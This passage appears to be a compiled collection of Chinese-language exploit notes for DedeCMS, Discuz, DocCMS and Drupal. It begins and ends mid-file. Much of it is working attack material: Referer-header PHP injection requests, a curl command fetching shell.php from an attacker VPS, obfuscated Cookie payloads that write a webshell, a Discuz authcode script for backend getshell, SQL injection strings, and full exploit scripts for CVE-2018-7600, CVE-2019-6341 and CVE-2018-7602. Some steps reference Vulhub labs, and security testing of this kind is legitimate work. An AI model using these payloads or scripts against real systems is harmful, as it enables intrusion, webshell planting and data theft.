}此时我们就可以通过控制 Referer请求头,来控制模版的渲染,绕过 CheckDisabledFunctions)方法的过滤 造成远程命令执行
通过正则找到受影响且无需身份认证的文件,来进行命令执行
/plus/flink.php?dopost=save
/plus/users_products.php?oid=1337
/plus/download.php?aid=1337
/plus/showphoto.php?aid=1337
/plus/users-do.php?fmdo=sendMail
/plus/posttocar.php?id=1337
/plus/vote.php?dopost=view
/plus/carbuyaction.php?do=clickout
/plus/recommend.php
........这里利用没有过滤的双引号绕过 disables 禁止的函数
漏洞请求包
GET /plus/flink.php?dopost=save HTTP/1.1
Host:
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: <?php "system"(ls);?>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: closeGET /plus/flink.php?dopost=save&c=whoami HTTP/1.1
Host:
Referer: <?php "system"($c);die;/*GET /DedeCMS-5.8.1/plus/flink.php?dopost=save&c=<?php%20eval($_POST[1]);?> HTTP/1.1
Host:
Referer: <?php "file_put_contents"('shell.php',$c);?>GET /DedeCMS-5.8.1/plus/flink.php?dopost=save&c=curl%20http://<YOUR-VPS-IP>:<YOUR-VPS-PORT>/shell.php%20--output%20shell.php HTTP/1.1
Host:
Referer: <?php "system"($c);die;/*File: CMS漏洞/Discuz 3.4 最新版后台getshell.md
Discuz 3.4 最新版后台getshell
漏洞描述
最新版下载地址:https://gitee.com/Discuz/Discuz
<?php
$uc_key="123456";//
$time = time() + 720000;
$str = "time=".$time."&action=updateapps";
$code = authcode($str,"ENCODE",$uc_key);
$code = str_replace('+','%2b', $code) ;
$code = str_replace('/','%2f', $code) ;
echo "$code";
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key != '' ? $key : '123456');
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>File: CMS漏洞/Discuz 7.x6.x 全局变量防御绕过导致代码执行.md
Discuz 7.x/6.x 全局变量防御绕过导致代码执行
漏洞描述
由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致$_REQUEST中不再包含$_COOKIE,也就是说默认配置下$_REQUEST只包含$_GET和$_POST而不包括$_COOKIE。
我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。
具体原理请参考:
环境搭建
Vulhub执行如下命令启动Discuz 7.2:
docker-compose up -d启动后,访问http://your-ip:8080/install/来安装discuz,数据库地址填写db,数据库名为discuz,数据库账号密码均为root。
漏洞复现
安装成功后,直接找一个已存在的帖子,向其发送数据包,并在Cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();:
GET /viewthread.php?tid=10&extra=page%3D1 HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
Connection: close同样方法传入以下Cookie写入一句话木马文件,文件为x.php,密码为pwd
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(120).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(112).Chr(119).Chr(100).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))ASCII码和字符互相转换的小脚本,方便修改POC的文件名和密码:
import re
# ASCII = ord(Word)
# Word = chr(ASCII)
# ASCII -> Word
def ASCII2word(ASCIIs):
for c in re.findall(r"(\d+)", ASCIIs):
print(chr(int(c)),end="")
# Word -> ASCII
def word2ASCII(words):
ASCIIs = ""
for word in words:
ASCIIs += "Chr(" + str(ord(word)) + ")."
print(ASCIIs)
print("----------ASCII TO WORD---------------------")
asciis = "Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(109).Chr(105).Chr(115).Chr(104).Chr(105).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(116).Chr(101).Chr(115).Chr(116).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59)"
ASCII2word(asciis)
print("\n\n----------WORD TO ASCII--------------------")
words = "fputs(fopen('x.php','w'),'<?php @eval($_POST[pwd])?>');"
word2ASCII(words)File: CMS漏洞/Discuz!X 3.4 admincp_setting.php 后台SQL注入漏洞.md
[Binary file]
File: CMS漏洞/Discuz!X ≤3.4 任意文件删除漏洞.md
Discuz!X ≤3.4 任意文件删除漏洞
漏洞描述
漏洞详情:https://lorexxar.cn/2017/09/30/dz-delete/
漏洞影响
Discuz!X ≤3.4环境搭建
Vulhub执行下列命令部署 Discuz!X 安装环境
docker-compose up -d启动后,访问http://your-ip/install/来安装discuz,只用修改数据库地址为db,其他保持默认即可。
漏洞复现
访问http://your-ip/robots.txt可见robots.txt是存在的:
注册用户后,在个人设置页面找到自己的formhash:
带上自己的Cookie、formhash发送如下数据包:
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: 192.168.174.128
Content-Length: 370
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.174.128
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryW8uA1wbCsmuiargU
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.174.128/home.php?mod=spacecp&ac=profile&op=base
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: AuthSession=dGhyZWVraTo2MjE0NEM0Mzrhe4V-bNxBqV-1RKA7mJS_YQrC9A; ot6_visitedfid=2; ot6_sid=9yWYy0; et56_2132_saltkey=qN7vqIdT; et56_2132_lastvisit=1645503280; et56_2132_sid=Ze005m; et56_2132_seccode=1.526c82122231460dd9; et56_2132_ulastactivity=6467KkrgcKDQNmUlDxKLd592a6DUvLlRSPU4g07eDld2bKtFo3JU; et56_2132_auth=45cdTg%2F0tTayn1c5i6fOd%2F96K8vGKx7SVg9MgaAoLalS102hICOtVzWjuDHbYtyyH8Rqe54O1WS9d%2Fa0s%2FIV; et56_2132_nofavfid=1; et56_2132_onlineusernum=1; et56_2132_noticeTitle=1; et56_2132_lastact=1645507206%09home.php%09misc
Connection: close
------WebKitFormBoundaryW8uA1wbCsmuiargU
Content-Disposition: form-data; name="formhash"
d32e951d
------WebKitFormBoundaryW8uA1wbCsmuiargU
Content-Disposition: form-data; name="birthprovince"
../../../robots.txt
------WebKitFormBoundaryW8uA1wbCsmuiargU
Content-Disposition: form-data; name="profilesubmit"
true
------WebKitFormBoundaryW8uA1wbCsmuiargU--提交成功之后,用户资料修改页面上的出生地就会显示成下图所示的状态:
说明我们的脏数据已经进入数据库了。
然后,新建一个upload.html,代码如下,将其中的[your-ip]改成discuz的域名,[form-hash]改成你的formhash:
<body>
<form action="http://[your-ip]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[form-hash]" method="post" enctype="multipart/form-data">
<input type="file" name="birthprovince" />
<input type="submit" value="upload" />
</form>
</body>用浏览器打开该页面,上传一个正常图片。如果遇到下图这样的情况,需要修改数据包。
Burpsuite抓包,将Refer和Cookie替换为正常上传数据包的值。
POST /home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=d32e951d HTTP/1.1
Host: 192.168.174.222
Content-Length: 3685
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.159
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKSoP7vDw487SX9LO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: [替换为http://192.168.174.128/home.php?mod=spacecp]
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: [替换为正常上传的C]
Connection: close此时脏数据应该已被提取出,漏洞已经利用结束。
再次访问http://your-ip/robots.txt,发现文件成功被删除。
File: CMS漏洞/Discuz!X3.4 后台修改UCenter配置getshell漏洞.md
Discuz!X3.4 后台修改UCenter配置getshell漏洞
漏洞复现
漏洞利用流程如下:
- 进入后台
站长-UCenter设置,修改UCenter通信密钥为123456。 - 修改UC_API=
http://your-ip/discuz!x3.4/uc_server');eval($_POST[cmd]);//,点击保存。 - 利用UC_KEY(dz) 生成code参数,执行脚本
php ucode.php生成code。 - Burpsuite带code参数发送GET请求,结果为1表示成功。
生成code参数的脚本 ucode.php:
<?php
$uc_key="123456";//此处填写刚才UCenter设置的值
$time = time() + 720000;
$str = "time=".$time."&action=updateapps";
$code = authcode($str,"ENCODE",$uc_key);
$code = str_replace('+','%2b',$code);
$code = str_replace('/','%2f',$code);
echo $code;
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key != '' ? $key : '123456');
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>带code参数发送GET请求:
请求数据包:
GET /discuz!x3.4/api/uc.php?code=ac7091oTLALD6X24gZeiX5YmqDkLnX4ivIqx1jDnA7NhUAcHHOX3fWWOLWpGwSwfQfz4r5Pgf86bRlDTRkQ% HTTP/1.1
Host: your-ip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ar;q=0.8
Connection: close
Content-Length: 133
<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://your-ip/discuz!x3.4/uc_server</item>
</root>Shell 地址:
http://your-ip/discuz!x3.4/config/config_ucenter.phpFile: CMS漏洞/DocCMS keyword SQL注入漏洞.md
DocCMS keyword SQL注入漏洞
漏洞描述
DocCMS keyword参数存在 SQL注入漏洞,攻击者通过漏洞可以获取数据库信息
漏洞影响
DocCMS网络测绘
app="Doccms"漏洞复现
CMS官网
验证POC
/search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33其中payload为下列语句的二次Url编码
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#File: CMS漏洞/Drupal 7.32 “Drupalgeddon” SQL注入漏洞 CVE-2014-3704.md
Drupal < 7.32 “Drupalgeddon” SQL注入漏洞 CVE-2014-3704
漏洞描述
Drupal 是一款用量庞大的CMS,其7.0~7.31版本中存在一处无需认证的SQL漏洞。通过该漏洞,攻击者可以执行任意SQL语句,插入、修改管理员信息,甚至执行任意代码。
环境搭建
Vulhub执行如下命令启动Drupal 7.31环境:
docker-compose up -d环境启动后,访问http://your-ip:8080即可看到Drupal的安装页面,使用默认配置安装即可。
其中,Mysql数据库名填写drupal,数据库用户名、密码为root,地址为mysql。
安装完成后,访问首页:
漏洞复现
该漏洞无需认证,发送如下数据包即可执行恶意SQL语句:
POST /?q=node&destination=node HTTP/1.1
Host: 192.168.174.128:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a可见,信息已被爆出:
File: CMS漏洞/Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞 CVE-2017-6920.md
Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞 CVE-2017-6920
漏洞描述
影响软件:Drupal
方式:反序列化
参考链接:CVE-2017-6920:Drupal远程代码执行漏洞分析及POC构造
效果:任意代码执行
PECL:PHP Extension Community Library
YAML:Yet Another Markup Language
环境搭建
Vulhub执行如下命令启动 drupal 8.3.0 的环境:
docker-compose up -d环境启动后,访问 http://your-ip:8080/ 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
漏洞复现
先安装 yaml 扩展
# 换镜像源,默认带vim编辑器,所以用cat换源,可以换成自己喜欢的源
cat > sources.list << EOF
deb http://mirrors.163.com/debian/ jessie main non-free contrib
deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
EOF
# 安装依赖
apt update
apt-get -y install gcc make autoconf libc-dev pkg-config
apt-get -y install libyaml-dev
# 安装yaml扩展
pecl install yaml
docker-php-ext-enable yaml.so
# 启用 yaml.decode_php 否则无法复现成功
echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini
# 退出容器
exit
# 重启容器,CONTAINER换成自己的容器ID
docker restart CONTAINER登录一个管理员账号,访问 http://[your ip]:8080/admin/config/development/configuration/single/import
如下图所示,配置类型 选择 简单配置,配置名称 任意填写,将配置粘贴到此处 中填写PoC如下:
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"点击 导入 后可以看到漏洞触发成功,弹出 phpinfo 页面
File: CMS漏洞/Drupal Drupalgeddon 2 远程代码执行漏洞 CVE-2018-7600.md
Drupal Drupalgeddon 2 远程代码执行漏洞 CVE-2018-7600
漏洞描述
Drupal 是一款用量庞大的CMS,其6/7/8版本的Form API中存在一处远程代码执行漏洞。相关分析如下:
环境搭建
Vulhub执行如下命令启动drupal 8.5.0的环境:
docker-compose up -d环境启动后,访问http://your-ip:8080/将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
安装方式参考CVE-2014-3704
漏洞复现
向安装完成的drupal发送如下数据包:
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id参考a2u/CVE-2018-7600,成功写入文件hello.txt:
可以执行命令,将结果输出到1.txt
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo `ls -al` | tee 1.txt'}查看1.txt文件内容,即ls -al命令执行结果
漏洞POC
#!/usr/bin/env python3
import sys
import requests
print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')
target = input('Enter target url (example: https://domain.ltd/): ')
# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
#
# example:
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
# verify = False
proxies = {}
verify = True
url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}
r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello.txt', proxies=proxies, verify=verify)
if check.status_code != 200:
sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')File: CMS漏洞/Drupal XSS漏洞 CVE-2019-6341.md
Drupal XSS漏洞 CVE-2019-6341
漏洞描述
影响软件:Drupal
方式:通过文件模块或者子系统上传恶意文件触发XSS漏洞
效果:JS代码执行(Cookies 资料窃取、会话劫持、钓鱼欺骗、网页挂马等)
环境搭建
Vulhub执行如下命令启动drupal 8.5.0的环境:
docker-compose up -d环境启动后,访问 http://your-ip:8080/ 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
漏洞复现
该漏洞需要利用drupal文件模块上传文件的漏洞,伪造一个图片文件,上传,文件的内容实际是一段HTML代码,内嵌JS,这样其他用户在访问这个链接时,就可能触发XSS漏洞。
Drupal 的图片默认存储位置为 /sites/default/files/pictures/<YYYY-MM>/,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置。
使用PoC上传构造好的伪造GIF文件,PoC参考thezdi/PoC的PoC。
如图,输入如下命令,即可使用vulhub/drupal/CVE-2019-6341目录下的poc构造样本并完成上传功能,第一个参数为目标IP 第二个参数为目标端口。
php cve-2019-6341-exp.php 192.168.11.1 8080上传成功后,访问图片位置,即可触发 XSS 漏洞。
Tips:
- 因为 Chrome 和 FireFox 浏览器自带部分过滤 XSS 功能,所以验证存在时可使用 IE 浏览器。
- 访问的图片名称为_0的原因是因为 Drupal 的规则机制,具体原理见Drupal 1-click to RCE 分析
此处复现不不成功,虽然xss代码上传成功,但是没有被正确解析。
只有IE浏览器可以正确解析xss并弹框。
漏洞POC
<?php
/*
usage: php poc.php <target-ip>
Date: 1 March 2019
Exploit Author: TrendyTofu
Original Discoverer: Sam Thomas
Version: <= Drupal 8.6.2
Tested on: Drupal 8.6.2 Ubuntu 18.04 LTS x64 with ext4.
Tested not wokring on: Drupal running on MacOS with APFS
CVE : CVE-2019-6341
Reference: https://www.zerodayinitiative.com/advisories/ZDI-19-291/
*/
$host = $argv[1];
$port = 80;
$pk = "GET /user/register HTTP/1.1\r\n".
"Host: ".$host."\r\n".
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n".
"Accept-Language: en-US,en;q=0.5\r\n".
"Referer: http://".$host."/user/login\r\n".
"Connection: close\r\n\r\n";
$fp = fsockopen($host,$port,$e,$err,1);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
$out.=fread($fp,1);
}
fclose($fp);
preg_match('/name="form_build_id" value="(.*)"/', $out, $match);
$formid = $match[1];
//var_dump($formid);
//echo "form id is:". $formid;
//echo $out."\n";
sleep(1);
$data =
"Content-Type: multipart/form-data; boundary=---------------------------60928216114129559951791388325\r\n".
"Connection: close\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"mail\"\r\n".
"\r\n".
"[email protected]\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"name\"\r\n".
"\r\n".
"test2345\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"files[user_picture_0]\"; filename=\"xxx\xc0.gif\"\r\n".
"Content-Type: image/gif\r\n".
"\r\n".
"GIF\r\n".
"<HTML>\r\n".
" <HEAD>\r\n".
" <SCRIPT>alert(123);</SCRIPT>\r\n".
" </HEAD>\r\n".
" <BODY>\r\n".
" </BODY>\r\n".
"</HTML>\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"user_picture[0][fids]\"\r\n".
"\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"user_picture[0][display]\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"form_build_id\"\r\n".
"\r\n".
//"form-KyXRvDVovOBjofviDPTw682MQ8Bf5es0PyF-AA2Buuk\r\n".
$formid."\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"form_id\"\r\n".
"\r\n".
"user_register_form\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"contact\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"timezone\"\r\n".
"\r\n".
"America/New_York\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_triggering_element_name\"\r\n".
"\r\n".
"user_picture_0_upload_button\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_triggering_element_value\"\r\n".
"\r\n".
"Upload\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_drupal_ajax\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n".
"\r\n".
"bartik\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n".
"\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n".
"\r\n".
"bartik/global-styling,classy/base,classy/messages,core/drupal.ajax,core/drupal.collapse,core/drupal.timezone,core/html5shiv,core/jquery.form,core/normalize,file/drupal.file,system/base\r\n".
"-----------------------------60928216114129559951791388325--\r\n";
$pk = "POST /user/register?element_parents=user_picture/widget/0&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\r\n".
"Host: ".$host."\r\n".
"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0\r\n".
"Accept: application/json, text/javascript, */*; q=0.01\r\n".
"Accept-Language: en-US,en;q=0.5\r\n".
"X-Requested-With: XMLHttpRequest\r\n".
"Referer: http://" .$host. "/user/register\r\n".
"Content-Length: ". strlen($data). "\r\n".
$data;
echo "uploading file, please wait...\n";
for ($i =1; $i <= 2; $i++){
$fp = fsockopen($host,$port,$e,$err,1);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
$out.=fread($fp,1);
}
fclose($fp);
echo "Got ".$i."/2 500 errors\n";
//echo $out."\n";
sleep(1);
}
echo "please check /var/www/html/drupal/sites/default/files/pictures/YYYY-MM\n";
?>File: CMS漏洞/Drupal 远程代码执行漏洞 CVE-2018-7602.md
Drupal 远程代码执行漏洞 CVE-2018-7602
漏洞描述
影响软件:drupal
方式:对URL中的#进行编码两次,绕过sanitize()函数过滤
效果:任意命令执行
环境搭建
Vulhub执行如下命令启动drupal 7.57的环境:
docker-compose up -d环境启动后,访问 http://your-ip:8081/ 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
漏洞复现
参考pimps/CVE-2018-7600的PoC,执行以下命令即可复现该漏洞,示例命令为 id:
# "id"为要执行的命令 第一个drupal为用户名 第二个drupal为密码
python3 drupa7-CVE-2018-7602.py -c "id" drupal drupal http://127.0.0.1:8081/执行cat /etc/passwd:
漏洞POC
#!/usr/bin/env python3
import requests
import argparse
from bs4 import BeautifulSoup
def get_args():
parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7602.py",
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
epilog= '''
This script will exploit the (CVE-2018-7602) vulnerability in Drupal 7 <= 7.58
using an valid account and poisoning the cancel account form (user_cancel_confirm_form)
with the 'destination' variable and triggering it with the upload file via ajax (/file/ajax).
''')
parser.add_argument("user", help="Username")
parser.add_argument("password", help="Password")
parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")
parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")
parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
parser.add_argument("-x", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
args = parser.parse_args()
return args
def pwn_target(target, username, password, function, command, proxy):
requests.packages.urllib3.disable_warnings()
session = requests.Session()
proxyConf = {'http': proxy, 'https': proxy}
try:
print('[*] Creating a session using the provided credential...')
get_params = {'q':'user/login'}
post_params = {'form_id':'user_login', 'name': username, 'pass' : password, 'op':'Log in'}
print('[*] Finding User ID...')
session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
get_params = {'q':'user'}
r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
soup = BeautifulSoup(r.text, "html.parser")
user_id = soup.find('meta', {'property': 'foaf:name'}).get('about')
if ("?q=" in user_id):
user_id = user_id.split("=")[1]
if(user_id):
